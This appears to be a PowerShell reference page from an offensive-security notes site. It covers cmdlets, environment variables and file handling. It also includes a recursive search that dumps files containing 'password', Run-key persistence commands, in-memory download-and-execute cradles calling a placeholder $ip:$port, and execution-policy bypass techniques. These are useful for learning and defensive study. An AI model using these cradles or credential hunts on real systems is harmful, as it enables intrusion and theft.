PowerShell

PowerShell Syntax

For PowerShell syntax examples see my scripting page here.

PowerShell Commands

In PowerShell, there are three main types of commands: cmdlets, functions, and aliases.

Cmdlets

Cmdlet is pronounced "command-let". They are instances of .NET classes, not stand-alone executables like in other shell environments. This makes it extremely easy for third parties to extend the functionality of PowerShell without compiling new binaries. Cmdlet names have the form "Verb-Noun" to make them easily discoverable (according to Microsoft anyway!).

Since cmdlets are an actual instance of a .NET class, the output from a command is a bit different than in a traditional command shell. Instead of the common standard-in and standard-out, PowerShell returns an object that contains a number of properties of which a select number are displayed depending on the cmdlet. Objects returned by a cmdlet often have many more discoverable properties and methods that can be manipulated and acted on by those with experience, through experimentation, or by reading the documentation. This makes it extremely powerful.

You can also use them in pretty much the same way as commands in a traditional shell environment without knowing any of this, though you will get much more out of it if you take the time to learn.

cmdlet verbs

Cmdlets are restricted to only a set list of verbs. Nouns can be whatever you want, but should follow Third party developers and scripters are encouraged by Microsoft to only use ones from this list for consistency, but PowerShell will not deny modules that use other verbs from running. The most common verbs are New, Get, Set, and Invoke, though there are many more. You can read more about this here.

The Three Core Cmdlets

If you know how to use these three cmdlets, you can figure out how to use any other cmdlet.

Run Get-Help $cmdlet_name -Examples for usage

Other useful cmdlets

Functions

TODO: (issue #25)

Break PowerShell Functions section up by Category
Add description of difference between cmdlets and functions
Add information about creating functions, anonymous functions

Run PowerShell scripts or C# code directly from the terminal!

Run Get-Help $function_name -Examples for usage

Aliases

There are many built-in aliases for the most commonly used cmdlets. The developers wanted to make cmd.exe and Unix users feel at home, so many of those basic commands will function in a similar way. Here are some commonly used examples. You can use the Get-Alias cmdlet to see the full list.

Check the Version of PowerShell

$PSVersionTable

Script Execution Policy

TODO: add short description about what this is and why it's important (issue #26)

To view current execution policy check use the cmdlet Get-ExecutionPolicy. If no execution policy is set in any scope, the effective execution policy is Restricted, which is the default for client systems (Windows 10) or RemoteSigned (Server 2016+). **The policy can be changed with the cmdlet Set-ExecutionPolicy <PolicyName>.

ForExecution-Policy bypass methods for privilege escalation and so on see this section.

Environment Variables

Show all current environment variables in PowerShell: Get-ChildItem Env:

Also aliased to: dir env: or ls env: or gci env:

Environment variables can be echo'd or used in scripts by prefixing them with $env:. Ex:

echo $env:USERNAME
#bob

Show all current environment variables in cmd.exe: set

Environment variables can be echo'd or used in scripts by bracketing them with %. Ex:

echo %USERNAME%
#bob

Convert cmd.exe environment variables to PowerShell:

%SYSTEMROOT% == $env:SystemRoot

You can assign values to Environment Variables without using a cmdlet using the following syntax:

$Env:$var = "$value"

Examples:

$env:username
$env:hostname
$env:path

If you set a value to a environment variable that does not exist, Windows will create it. You can use this to create your own custom environment variables.

You can also use the 'Item' cmdlets, such as Set-Item, Remove-Item, and Copy-Item to change the values of environment variables. For example, to use the Set-Item cmdlet to append ;C:\Windows\Temp to the value of the $Env:PATH environment variable, use the following syntax:

Adding a Folder to PATH

Set-Item -Path Env:PATH -Value ($Env:Path + ";C:\Windows\Temp")

In this command, the value $Env:Path + ";C:\Windows\Temp" is enclosed in parentheses so that it is interpreted as a single unit.

To append C:\Windows\Temp to the PATH , use the following syntax (note the (;) separator):

$Env:PATH += ";C:\Windows\Temp"

On Linux or MacOS, the colon (:) in the command separates each path in the list.

$Env:PATH += ":/temp"

Add a folder to PATH using `System.Environment` methods

The System.Environment class provides GetEnvironmentVariable and SetEnvironmentVariable methods that allow you to specify the scope of the variable.

The following example uses the GetEnvironmentVariable method to get the machine setting of PSModulePath and the SetEnvironmentVariable method to add the C:\Program Files\Fabrikam\Modules path to the value.PowerShellCopy

$path = [Environment]::GetEnvironmentVariable('PSModulePath', 'Machine')
$newpath = $path + ';C:\Program Files\Fabrikam\Modules'

Working with Files

Find hidden files

Get-ChildItem -Force

Change file attributes

This can also be used to change file property flags such as Hidden, Archive, and ReadOnly.

$file = (Get-ChildItem $file_name) #can shorten command with gci, dir, or ls
$file.attributes #Show the files attributes
# Normal

#Flip the bit of the Hidden attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Hidden

#To remove the 'Hidden' attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Normal

Recursively search for files that contain a certain string

https://superuser.com/questions/815527/way-to-list-and-cat-all-files-that-contain-string-x-in-powershell - look for text in a file and lists its name and contents. These examples are looking for the word 'password'.

Shorthand (aliased) version:

ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}

Remove ;gc $_ to only list the filenames. Then you can extract to Linux and use better text manipulation tools like strings and grep.

ls -R | ? { $_ | sls 'password' } | % { $_ ; gc $_ }

The above is expanded for visibility of the individual elements. The shorthand version is condensed for situations where characters are at a premium.

Full version:

Get-ChildItem -Recurse | Where-Object {(Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true} | ForEach-Object {Write-Output $_; Get-Content $_}

Explanation:

# Get a listing of all files within this folder and its subfolders.
Get-ChildItem -Recurse |

# Filter files according to a script.
Where-Object {
    # Pick only the files that contain the string 'password'.
    # Note: The -Quiet parameter tells Select-String to only return a Boolean. This is preferred if you just need to use Select-String as part of a filter, and don't need the output.
    (Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true
} |

# Run commands against each object found.
ForEach-Object {
    # Output the file properties.
    Write-Output $_;

    # Output the file's contents.
    Get-Content $_
}

Aside from the obvious use of aliases, collapsing of whitespace, and truncation of parameter names in the shorthand version, you may want to note the following significant differences between the "full" versions and the "condensed" version:

Select-String was swapped to use piped input instead of -InputObject.
The -Pattern parameter name was omitted from Select-String, as use of that parameter's name is optional.
The -Quiet option was dropped from Select-String. The filter will still work, but it will take longer since Select-String will process each complete file instead of stopping after the first matching line.
-eq $true was omitted from the filter rule. When a filter script already returns a Boolean, you do not need to add a comparison operator and object if you just want it to work when the Boolean is true.
- Also note that this will work for some non-Booleans, like in this script. Here, a match will result in a populated array object, which is treated as true, while a non-match will return an empty array which is treated as false.
Write-Output was omitted. PowerShell will try to do this as a default action if an object is given without a command. If you don't need all the file's properties, and just want the full path on one line before the file contents, you could use this instead:
- ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}

Modifying the Registry

Here, HKCU:\Software\Microsoft\Windows\CurrentVersion\Run is given as the path (a popular persistence location!), but any path can be substituted.

# add a new key to registry:
New-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name

# then set its properties with:
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name $key_name -Value "$key_value"

# To edit a value that is already set:
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name -Value "$new_value"

MISC

PowerShell.exe location on disk

Windows PowerShell Executables File System Locations on 64-bit Windows

The default paths to the executables for PowerShell and PowerShell ISE on relevant 64-bit Windows operating systems:

When converting cmd.exe environment variables to PowerShell:

%SYSTEMROOT% == $env:SystemRoot

Windows PowerShell Executables File System Locations on 32-bit Windows

The default paths to the executables for PowerShell and PowerShell ISE on relevant 32-bit Windows operating systems:

PowerShell full path: /usr/local/microsoft/powershell/7/

7 is the version number of PS Core, so this can change...

Downloading files with PowerShell (`wget`)

PowerShell version of `wget:`

powershell -c "(New-Object System.Net.WebClient).DownloadFile('$ip:$port/$file','$outfile'))"

You can also use the example below to save the file to the local machine.

wget https://zweilosec.gitbook.io/hackers-rest -OutFile C:\Windows\Temp\out.html

wget is an alias for Invoke-WebRequest. Adding -Outfile $out_file is needed to save the file to disk.

Retrieve file and execute remote code after downloading (in-memory!):

powershell -c "Invoke-Expression(New-Object System.Net.Webclient).downloadString('http://$ip:$port/$file')"

PowerShell Script Execution Bypass

TODO: Expand and clean up PowerShell Bypass section. Link to Windows Privilege Escalation page (issue #27)

Take examples from https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ and add
Write script example of embedding the below PowerShell bypass in php script
Check the PowerShell example below and see if the trailing - means something is missing
Link or add this information to Windows Privilege Escalation page

Get the current PowerShell script execution policy with:

Get-ExecutionPolicy -List

Most likely this will be set to Restricted, but you need to have admin rights to change this (with one caveat later). So, in order to run scripts, you will need to use one of the following bypass methods.

Change Execution Method with `-Scope CurrentUser`

Set-ExecutionPolicy -Scope CurrentUser Bypass

You can change the Execution Policy for the current user by using the -Scope CurrentUser argument. This will still not allow you to run scripts in other contexts (such as in scheduled tasks), but all scripts run as the current user will now function just fine. This is the easiest bypass method but requires making a configuration change that could potentially be detected.

Copy and paste script code into PowerShell

The second easiest method is to simply copy and paste the code from the script into a PowerShell console. It may prompt you to verify that you intend to paste multiple lines, simply click "yes". As long as the code does not have any strange formatting that prevents it from running line by line, the whole script will run. If the script contains a function, you can continue to use this function simply by calling its name.

`Echo` the script code into PowerShell

This technique is similar to the previous, in that you must copy and paste the code from the script into a PowerShell console. However, you must prefix your code with the echo (Alias for Write-Output) command and then pipe the copied code into PowerShell.exe, like below:

echo Test-YourCode | PowerShell -NoProfile -

If your code contains multiple lines, quotes, or is contained within a function it may not execute properly, or at all. You will have to experiment with wrapping the code in quotes or escaping certain characters. This may seem like a pain, but the upside to this technique is that it requires no configuration changes, and the code is run entirely in memory.

Read the contents of a file and pipe code into PowerShell

Similar to the previous example, but with the major advantage of not having to do any complicated nested quoting or escaping to get the code to function normally. However, this technique does rely on the file being either on disk, or accessible through a network share.

Get-Content "\\RemoteComp\Test-YourCode.ps1" | PowerShell -NoProfile -

...more to come!

echo IEX(New-Object Net.WebClient).DownloadString(http://$ip:$port/$script_file) | PowerShell -NoProfile -

Silence PowerShell error messages

Many PowerShell cmdlets support the -ErrorAction SilentlyContinue attribute, which works similarly to using 2>/dev/null in Linux. However, this only works for that cmdlet, not the entire one-liner if you pipe output or use semi-colons, etc. This can be shortened to -EA Silently.

Unsorted...

PowerShell reverse shell and exploit scripts: nishang To learn how to use this tool check out Ippsec's video on youtube: Ippsec:HacktheBox - Optimum TODO: look up this tool and give examples and description

Resources

If you like this content and would like to see more, please consider buying me a coffee!

PreviousWindows Basics NextHardening & Setup

Last updated 2 years ago

PowerShell Syntax

PowerShell Commands

Cmdlets

cmdlet verbs

The Three Core Cmdlets

Other useful cmdlets

Functions

Aliases

Check the Version of PowerShell

Script Execution Policy

Environment Variables

Adding a Folder to PATH

Add a folder to PATH using System.Environment methods

Working with Files

Change file attributes

Recursively search for files that contain a certain string

Shorthand (aliased) version:

Full version:

Explanation:

Modifying the Registry

MISC

PowerShell.exe location on disk

Windows PowerShell Executables File System Locations on 64-bit Windows

Windows PowerShell Executables File System Locations on 32-bit Windows

Downloading files with PowerShell (wget)

PowerShell version of wget:

PowerShell Script Execution Bypass

Change Execution Method with -Scope CurrentUser

Copy and paste script code into PowerShell

Echo the script code into PowerShell

Read the contents of a file and pipe code into PowerShell

Silence PowerShell error messages

Unsorted...

Resources

PowerShell Syntax

PowerShell Commands

Cmdlets

cmdlet verbs

The Three Core Cmdlets

Other useful cmdlets

Functions

Aliases

Check the Version of PowerShell

Script Execution Policy

Environment Variables

Adding a Folder to PATH

Add a folder to PATH using System.Environment methods

Working with Files

Change file attributes

Recursively search for files that contain a certain string

Shorthand (aliased) version:

Full version:

Explanation:

Modifying the Registry

MISC

PowerShell.exe location on disk

Windows PowerShell Executables File System Locations on 64-bit Windows

Windows PowerShell Executables File System Locations on 32-bit Windows

Downloading files with PowerShell (wget)

PowerShell version of wget:

PowerShell Script Execution Bypass

Change Execution Method with -Scope CurrentUser

Copy and paste script code into PowerShell

Echo the script code into PowerShell

Read the contents of a file and pipe code into PowerShell

Silence PowerShell error messages

Unsorted...

Resources

Add a folder to PATH using `System.Environment` methods

Downloading files with PowerShell (`wget`)

PowerShell version of `wget:`

Change Execution Method with `-Scope CurrentUser`

`Echo` the script code into PowerShell

Add a folder to PATH using `System.Environment` methods

Downloading files with PowerShell (`wget`)

PowerShell version of `wget:`

Change Execution Method with `-Scope CurrentUser`

`Echo` the script code into PowerShell